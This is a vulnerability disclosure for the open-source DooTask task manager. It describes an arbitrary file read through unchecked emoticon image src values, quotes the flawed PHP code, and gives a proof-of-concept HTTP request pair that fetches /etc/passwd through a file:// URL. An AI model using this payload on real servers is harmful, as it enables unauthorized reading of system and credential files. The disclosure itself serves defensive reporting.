Product Introduction:DooTask - Open Source Task Management System

Product Linkshttps://github.com/kuaifan/dootask.git

Affected versions:≤v1.0.51(latest version)

Vulnerability description: There is an arbitrary file download vulnerability in DooTask≤v1.0.51. The Dootask system supports user registration by default. After registration, the registered user is used to log in. This vulnerability can be used to download arbitrary files.

Vulnerability detail:

The api/dialog/msg/sendtext interface provides the function of sending messages. The function logic is implemented in the msg__sendtext method of DialogController.php. The method calls the formatMsg method to process the sent message.

企业微信20250619-090532@2x.png

In the formatMsg method here, if the message sent contains an emoticon picture, the picture is downloaded to the local server. The relevant code is as follows:

        preg_match_all("/<img\\s+class=\\"emoticon\\"(.*?)>/s", $text, $matchs);
        foreach ($matchs[1] as $key => $str) {
            preg_match("/data-asset=\\"(.*?)\\"/", $str, $matchAsset);
            preg_match("/data-name=\\"(.*?)\\"/", $str, $matchName);
            $imageSize = null;
            $imagePath = "";
            $imageName = "";
            if ($matchAsset[1] === "emosearch") {
                preg_match("/src=\\"(.*?)\\"/", $str, $matchSrc);
                if ($matchSrc) {
                    $srcMd5 = md5($matchSrc[1]);
                    $imagePath = "uploads/emosearch/" . substr($srcMd5, 0, 2) . "/" . substr($srcMd5, 32 - 2) . "/";
                    Base::makeDir(public_path($imagePath));
                    $imagePath .= md5s($matchSrc[1]);
                    if (file_exists(public_path($imagePath))) {
                        $imageSize = getimagesize(public_path($imagePath));
                    } else {
                        $image = file_get_contents($matchSrc[1]);
                        if ($image && file_put_contents(public_path($imagePath), $image)) {
                            $imageSize = getimagesize(public_path($imagePath));

The code uses regular expressions to extract the src attribute in the img tag contained in the $text parameter, then calls file_put_contents to download the link specified by the src attribute, and then saves it to a local file. The file naming rule is the MD5 operation of the src attribute, and the first and last two digits of the hash value are used as subdirectories to generate a local image path. Here we can pass in the src attribute as file:///etc/passwd to download the local /etc/passwd file on the server. According to the naming rule, the generated file path is /uploads/emosearch/0f/99/d47e216b29d5ab99

Vulnerability POC:

POST /api/dialog/msg/sendtext HTTP/1.1
Host: 192.168.0.103:2222
Content-Length: 170
language: zh
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
fd: 8718
Content-Type: OPTIONS, application/json
token: YIG8ANC8q2SstA88NO_vewBYvN0KYjiATZnrVesbqyCD4ZLqvdYwjSy0I_VHDgTIevnltgr5v-suT5BfoF_-fWicdtaUQUQWaOZ4lRnshvvoSRWkTGyt-zqfPtbIZ4wt
Connection: keep-alive

{"dialog_id":225,"reply_id":0,"text":"<img class=\\"emoticon\\" data-asset=\\"emosearch\\" data-name=\\"test\\" src=\\"file:///etc/passwd\\"/>","text_type":"text","silence":"no"}
GET /uploads/emosearch/0f/99/d47e216b29d5ab99 HTTP/1.1
Host: 192.168.0.103:2222
Connection: keep-alive

Screenshots of the exploit:

企业微信20250619-091709@2x.png

企业微信20250619-091725@2x.png